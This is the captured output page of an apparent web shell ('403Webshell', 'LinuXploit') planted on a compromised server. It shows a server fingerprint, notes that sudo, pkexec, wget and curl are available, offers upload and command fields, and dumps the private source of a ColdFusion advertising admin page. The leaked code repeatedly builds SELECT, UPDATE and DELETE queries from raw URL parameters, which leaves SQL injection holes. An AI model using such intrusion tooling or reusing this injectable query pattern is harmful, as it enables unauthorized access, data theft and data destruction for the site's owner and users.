403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/adslist-materials.cfm
<cfinclude template="header.cfm">


<div id="content"  style="margin-left:250px;">
  <div id="content-header">
   <h2>&nbsp;Advertising</h2>
   &nbsp;<a href="https://admin.nymetroparents.com/adslist-materials.cfm?viewold=on">View Old</a>
 <br> </div>
  <div class="container-fluid">
  	
  	
  		<Cfif parameterexists(url.process)>


  		    	<cfif #url.process# eq 'Content'>

<Cfquery name="Getart" datasource="cityguide">
select * from staging.articles
where id = #url.id#
</cfquery>
    <Cfoutput>
<h1>#getart.headline#</h1>

#getart.copy#
<p></p>
#getart.videos#
<p>
    <img src="#getart.ARTICLEIMAGE#">


</Cfoutput>


			<Cfquery name="upds" datasource="cityguide">
				update staging.articles 
				set itemstatus = 1
				where id = #url.id#
			</Cfquery>
		


</cfif>
  		    
  		    	<cfif #url.process# eq 'Banners'>

<Cfset utime = #DateDiff("s", CreateDate(1970,1,1), now())#>
<cfquery name="getbanners" dataSource='cityguide'>
    select * from staging.banners
    where itemstatus = 0
    and clientid = #url.clientid#
</cfquery>
<cfzip
	action="zip"
	file="/home/home2/cgny/public_html/nympadmin/banners/a#utime#.zip"
	overwrite="true">

	<!---
		Zip the entire images directory at the given
		source path.
	--->
	<cfloop from="1" to="#getbanners.recordcount#" index="z">
	<cfzipparam
			source="#ExpandPath( '/home/home2/cgny/public_html/nympadmin/banners/#getbanners.banner[z]#' )#"


		/>
</cfloop>
</cfzip>

       <cffile action="rename"
           source="/home/home2/cgny/public_html/nympadmin/banners/a#utime#.zip"
           destination="/home/home2/cgny/public_html/nympadmin/banners/#utime#.zip" mode="644 ">

	
			<Cfquery name="upds" datasource="cityguide">
				update staging.banners 
				set itemstatus = 1
				where clientid = #url.clientid#
			</Cfquery>
			
			<cflocation url="https://admin.nymetroparents.com/banners/#utime#.zip" addtoken="no" statuscode="301">

</cfif>



  		    	<cfif #url.process# eq 'SocialAd'>

<Cfset utime = #DateDiff("s", CreateDate(1970,1,1), now())#>
<cfquery name="getbanners" dataSource='cityguide'>
    select * from staging.socialad
    where itemstatus = 0
    and clientid = #url.clientid#
</cfquery>
<cfzip
	action="zip"
	file="/home/home2/cgny/public_html/nympadmin/banners/a#utime#.zip"
	overwrite="true">

	<!---
		Zip the entire images directory at the given
		source path.
	--->
	<cfloop from="1" to="#getbanners.recordcount#" index="z">
	<cfzipparam
			source="#ExpandPath( '/home/home2/cgny/public_html/nympadmin/banners/#getbanners.banner[z]#' )#"


		/>
</cfloop>
</cfzip>

       <cffile action="rename"
           source="/home/home2/cgny/public_html/nympadmin/banners/a#utime#.zip"
           destination="/home/home2/cgny/public_html/nympadmin/banners/#utime#.zip" mode="644 ">

	
			<Cfquery name="upds" datasource="cityguide">
				update staging.socialad 
				set itemstatus = 1
				where clientid = #url.clientid#
			</Cfquery>
			
			<cflocation url="https://admin.nymetroparents.com/banners/#utime#.zip" addtoken="no" statuscode="301">

</cfif>


  		    			<cfif #url.process# eq 'Blast'>


	<cfquery name="getit" dataSource="cityguide">
				select * from staging.blasts where id = #url.id#
			</cfquery>	
			
			
			<cfif #getit.excelfile# is not ''>
				Zip Code File: <a href="https://admin.nymetroparents.com/temp/#excelfile#">Click Here</a>
				
			</cfif>
			
<Cfquery name="getclient" dataSource="cityguide">
    select * from cgny_cgnew.adopstrackingclient where id = #getit.clientid#
    
</Cfquery>

<cfoutput>
Subject:     #getit.subject#
<p></p>
Preview:     #getit.Preview#
<p></p>

HTML: <textarea name="html">#getit.html#</textarea>

TEXT: <textarea name="text">#getit.test#</textarea>

</cfoutput>
		
	
			<Cfquery name="upds" datasource="cityguide">
				update staging.blasts 
				set itemstatus = 1
				where id = #url.id#
			</Cfquery>
			

</cfif>
  		    
  		    
			<cfif #url.process# eq 'Newsletter'>
		
			
			<cfquery name="getit" dataSource="cityguide">
				select * from staging.newslettersponsor where sponsorid = #url.id#
			</cfquery>	
			
			
			<Cfoutput query="Getit">
			    
	Sponsor: #getit.sponsorname#<br>
	HTML: <textara name="html">#getit.htmlblock#</textara>
	Link: #getit.sponsorlinkfield#
	<p>
	    	Click Text: #getit.buttontext#
<p>
    	    	Image: #getit.image#

</p>

	</p>
			</Cfoutput>
	
			
			
			<Cfquery name="upds" datasource="cityguide">
				update staging.newslettersponsor 
				set itemstatus = 1
				where sponsorid = #url.id#
			</Cfquery>
			

				
			</cfif>
			
			
			
			</cfif>
			
		



<cfif parameterexists(url.delete)>
<cfquery name="del" dataSource="cityguide">
	delete from staging.newslettersponsor where sponsorid = #url.delete#
</cfquery>
</cfif>


<cfif parameterexists(url.deleteblast)>
<cfquery name="del" dataSource="cityguide">
	delete from staging.blasts where id = #url.deleteblast#
</cfquery>
</cfif>



<cfif parameterexists(url.deletecontent)>
<cfquery name="del" dataSource="cityguide">
	delete from staging.articles where id = #url.deletecontent#
</cfquery>
</cfif>

<cfif parameterexists(url.deletebanners)>
<cfquery name="del" dataSource="cityguide">
	delete from staging.blasts where clientid = #url.clientid#
</cfquery>
</cfif>


<cfif parameterexists(url.deletesocialad)>
<cfquery name="del" dataSource="cityguide">
	delete from staging.socialad where clientid = #url.clientid#
</cfquery>
</cfif>




	<Cfquery name="Get1" datasource="cityguide">
		select staging.articles.*, cgny_cgnew.adopstrackingclient.clientname, adopstrackingclient.campaignname from staging.articles 
		inner join cgny_cgnew.adopstrackingclient on staging.articles.clientid = cgny_cgnew.adopstrackingclient.id
	<cfif parameterexists(url.viewold)>where itemstatus = 1 order by id desc limit 0,100<cfelse>	where itemstatus = 0  </cfif>
	</Cfquery>
	
	<Cfif #get1.recordcount# gt 0>

                  
<h2>Pending Articles</h2><p>
                                <div class="table-responsive">
                                    <table class="table color-table primary-table">

                                        <thead >


<tr style="background-color:black;" >
        <th style="background-color:black;">Date</th>

<th style="background-color:black;">Type</th>
<th style="background-color:black;">Advertiser</th>
<th style="background-color:black;">Process</th>

</tr>    
</thead>
<tbody>

	<cfoutput query="get1">
		
	<TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#"><Td>Article</Td>
	<td>#datetime#</td>
		<td>#clientname# - #campaignname#</td>
		
		<Td>
			
		
			
			  <center> <a href="adslist-materials.cfm?deletecontent=#id#" onclick="return confirm('Are you sure?');">Delete</a>
		
			<p><br>
				
				    <FORM action="adslist-materials.cfm?process=content&id=#id#" method="post"  enctype="multipart/form-data">

 <input type="submit" Value="Process" id="cdh_buttadminman" class="btn btn-danger btn-large"  style="font:bold 18px;color:white">

</form>
			</p>
				</center> 
		</Td>
		
		</Tr>
		
	</cfoutput>
	

	</tbody>
</table>
</div>
</Cfif>








	<Cfquery name="Get1" datasource="cityguide">
		select staging.blasts.*, cgny_cgnew.adopstrackingclient.clientname, adopstrackingclient.campaignname, adopstrackingclient.id as clientid from  staging.blasts 
		inner join cgny_cgnew.adopstrackingclient on staging.blasts.clientid = cgny_cgnew.adopstrackingclient.id
	<cfif parameterexists(url.viewold)>where itemstatus = 1 order by id desc limit 0,100<cfelse>	where itemstatus = 0  </cfif>
	</Cfquery>
	
	<Cfif #get1.recordcount# gt 0>

                  
<h2>Pending Blasts</h2><p>
                                <div class="table-responsive">
                                    <table class="table color-table primary-table">

                                        <thead >


<tr style="background-color:black;" >

<th style="background-color:black;">Type</th>
    <th style="background-color:black;">Date</th>

<th style="background-color:black;">Advertiser</th>
<th style="background-color:black;">Process</th>

</tr>    
</thead>
<tbody>

	<cfoutput query="get1">
		
	<TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#"><Td>eBlast</Td>
	<Td>#datetime#</Td>
		<td><b style="font-weight:bold;color:black;">#clientname# - #campaignname#</b>
		<p></p>
		<cfquery name="getblasts" dataSource="cityguide">
		    select * from adopstrackingcampaign where clientid = #get1.clientid# and typer = 'eblast'
		</cfquery>
<cfloop from="1" to="#getblasts.recordcount#" index="i">
    #getblasts.segmentname[i]# - #dateformat(getblasts.startdate[i],'m/d/yy')# - #numberformat(getblasts.quantity[i])#<br>
</cfloop>
		</td>
		
		<Td>
			
		
			
			  <center> <a href="adslist-materials.cfm?deleteblast=#id#" onclick="return confirm('Are you sure?');">Delete</a>
		
			<p><br>
				
				    <FORM action="adslist-materials.cfm?process=blast&id=#id#" method="post"  enctype="multipart/form-data">

 <input type="submit" Value="Process" id="cdh_buttadminman" class="btn btn-danger btn-large"  style="font:bold 18px;color:white">

</form>
			</p>
				</center> 
		</Td>
		
		</Tr>
		
	</cfoutput>
	

	</tbody>
</table>
</div>
</Cfif>

	<Cfquery name="Get1" datasource="cityguide">
		select staging.banners.*, cgny_cgnew.adopstrackingclient.clientname, adopstrackingclient.campaignname from staging.banners 
		inner join cgny_cgnew.adopstrackingclient on staging.banners.clientid = cgny_cgnew.adopstrackingclient.id
	<cfif parameterexists(url.viewold)>where itemstatus = 1 
	group by clientid order by id  	desc limit 0,100<cfelse>	where itemstatus = 0  		group by clientid
 </cfif>
	</Cfquery>
	
	
	<cfif #get1.recordcount# gt 0>
<h2>Pending Banners</h2><p>
                                <div class="table-responsive">
                                    <table class="table color-table primary-table">

                                        <thead >


<tr style="background-color:black;" >

<th style="background-color:black;">Type</th>
        <th style="background-color:black;">Date</th>

<th style="background-color:black;">Advertiser</th>
<th style="background-color:black;">Process</th>

</tr>    
</thead>
<tbody>

	<cfoutput query="get1">
		
	<TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#">
	    
	    <Td>Banners</Td>
	    <Td>#datetime#</Td>

		<td><a href="https://cloudadmin.broadwayworld.com/adslist.cfm?editclient=#clientid#" target="_new">#clientname# - #campaignname#</a></td>
		
		<Td>
			
		
			
			  <center> <a href="adslist-materials.cfm?deletebanners=#clientid#" onclick="return confirm('Are you sure?');">Delete</a>
		
			<p><br>
				
				    <FORM action="adslist-materials.cfm?process=banners&clientid=#clientid#" method="post"  enctype="multipart/form-data">

 <input type="submit" Value="Process" id="cdh_buttadminman" class="btn btn-danger btn-large"  style="font:bold 18px;color:white">

</form>
			</p>
				</center> 
		</Td>
		
		</Tr>
		
	</cfoutput>
	

	</tbody>
</table>
</div>
</cfif>
<br>
                	<Cfquery name="Get1" datasource="cityguide">
		select * from staging.newslettersponsor 
	<cfif parameterexists(url.viewold)>where itemstatus = 1 order by sponsorid desc limit 0,100<cfelse>	where itemstatus = 0  </cfif>
	</Cfquery>
	
	<Cfif #get1.recordcount# gt 0>
                  
<h2>Pending Newsletters</h2><p>
                                <div class="table-responsive">
                                    <table class="table color-table primary-table">

                                        <thead >


<tr style="background-color:black;" >
    
<th style="background-color:black;">Type</th>

<th style="background-color:black;">Date</th>
<th style="background-color:black;">Advertiser</th>
<th style="background-color:black;">Item</th>
<th style="background-color:black;">Process</th>

</tr>    
</thead>
<tbody>

	
	<cfoutput query="get1">
		
	<TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#"><Td>Newsletter</Td>
	
		    <Td>#datetime#</Td>

		<td>#sponsorname#</td>
<Td>
	<!--- NEWSLETTER --->
	
	
	
	
	<!--- NEWSLETTER ---> 
	
	
</Td>		
		
		<Td>
			
		
			
			  <center> <a href="adslist-materials.cfm?delete=#sponsorid#" onclick="return confirm('Are you sure?');">Delete</a>
			</center> 
			<p><br>
				
				    <FORM action="adslist-materials.cfm?process=Newsletter&id=#sponsorid#" method="post"  enctype="multipart/form-data">
<select name="processtype">
	<option value="Broadway">Broadway</option>
		<option value="Regional">Regional</option>

</select>

 <input type="submit" Value="Process" id="cdh_buttadminman" class="btn btn-danger btn-large"  style="font:bold 18px;color:white">

</form>
			</p>
			
		</Td>
		
		</Tr>
		
	</cfoutput>
	

	</tbody>
</table>
</div>

</Cfif>

	<Cfquery name="Get1" datasource="cityguide">
		select staging.socialad.*, cgny_cgnew.adopstrackingclient.clientname, adopstrackingclient.campaignname from staging.socialad 
		inner join cgny_cgnew.adopstrackingclient on staging.socialad.clientid = cgny_cgnew.adopstrackingclient.id
	<cfif parameterexists(url.viewold)>where itemstatus = 1 
	group by clientid order by id  	desc limit 0,100<cfelse>	where itemstatus = 0  		group by clientid
 </cfif>
	</Cfquery>
	
	
	<cfif #get1.recordcount# gt 0>
<h2>Pending Social</h2><p>
                                <div class="table-responsive">
                                    <table class="table color-table primary-table">

                                        <thead >


<tr style="background-color:black;" >

<th style="background-color:black;">Type</th>
        <th style="background-color:black;">Date</th>

<th style="background-color:black;">Advertiser</th>
<th style="background-color:black;">Process</th>

</tr>    
</thead>
<tbody>

	<cfoutput query="get1">
		
	<TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#">
	    
	    <Td>Social</Td>
	    <Td>#datetime#</Td>

		<td><a href="https://cloudadmin.broadwayworld.com/adslist.cfm?editclient=#clientid#" target="_new">#clientname# - #campaignname#</a>
		<br>
link = #link#<br>
        network = #network#<br>
        location = #location#<br>
        headline = #headline#<br>
        description = #description#<br>	</td>
		
		<Td>
			
		
			
			  <center> <a href="adslist-materials.cfm?deletesocialad=#clientid#" onclick="return confirm('Are you sure?');">Delete</a>
		
			<p><br>
				
				    <FORM action="adslist-materials.cfm?process=socialad&clientid=#clientid#" method="post"  enctype="multipart/form-data">

 <input type="submit" Value="Process" id="cdh_buttadminman" class="btn btn-danger btn-large"  style="font:bold 18px;color:white">

</form>
			</p>
				</center> 
		</Td>
		
		</Tr>
		
	</cfoutput>
	

	</tbody>
</table>
</div>
</cfif>

   </div>
<!--Footer-part-->
<br><br><br><br>

<cfinclude template="/footer.cfm">




Youez - 2016 - github.com/yon3zu
LinuXploit